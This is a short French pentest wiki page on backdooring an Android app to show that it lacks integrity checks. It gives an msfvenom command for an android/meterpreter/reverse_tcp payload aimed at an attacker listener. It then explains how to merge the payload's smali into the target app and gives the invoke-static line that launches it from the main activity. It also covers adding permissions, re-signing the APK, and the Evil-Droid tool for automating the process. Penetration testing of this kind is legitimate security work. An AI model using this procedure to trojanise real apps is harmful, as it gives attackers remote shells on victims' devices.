# Injection de backdoor

Si l'application ne semble pas faire de vérification d'intégrité, il peut être intéressant de PoC l'impact rendu possible en y ajoutant un payload meterpreter afin de montrer qu'il est possible de modifier l'application pour la transformer en trojan.

## Étapes à suivre

* Générer une charge utile avec msfvenom

`$ msfvenom -p android/meterpreter/reverse_tcp LHOST=<Listener IP> LPORT=<Listener Port> R > payload.apk`

* [Décompiler l'application cible](https://blog.s1rn3tz.ovh/pentest-mobile/reverse-engineering#edition-dun-apk) et l'application créée par msfvenom
* Placer le code smali de l'application msfvenom dans le ​​​répertoire contenant le code smali de l'application cible.

/path/to/payload/smali/com/metasploit/stage dans /path/to/target/smali/com/metasploit/stage

* Repérer l'activité principale de l'application cible dans son manifest.
* Dans le code smali de l'activité principale, trouver le moyen d'appeler le code smali de l'application msfvenom.

<figure><img src="https://3571537825-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOIXudYEdnnE8JjXBrL0o%2Fuploads%2FKFWdxlh8G9GcZqzikxSN%2Fimage.png?alt=media&#x26;token=58fa70f6-4c3d-44c9-83d0-2257d51d8450" alt=""><figcaption></figcaption></figure>

Deviens, `invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V`

<figure><img src="https://3571537825-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOIXudYEdnnE8JjXBrL0o%2Fuploads%2FURSBA202174Y440AD8KP%2Fimage.png?alt=media&#x26;token=a7da626c-4891-4949-9405-deecb36f5e3a" alt=""><figcaption></figcaption></figure>

* Ajouter les permissions nécessaires à l'application dans son manifest pour faire fonctionner meterpreter de façon optimale.
* [Recompiler l'application cible modifiée et l'auto-signer](https://blog.s1rn3tz.ovh/pentest-mobile/reverse-engineering#edition-dun-apk).
* Lancer l'application et vérifier que le shell est bien lancé dans le listener.

## Ressource

{% embed url="<https://pentestlab.blog/2017/06/26/injecting-metasploit-payloads-into-android-applications-manually/>" %}

## Outils

### Evil-Droid

Permet de faire exactement la même chose de manière semi-automatisé.

ressource: <https://github.com/M4sc3r4n0/Evil-Droid>
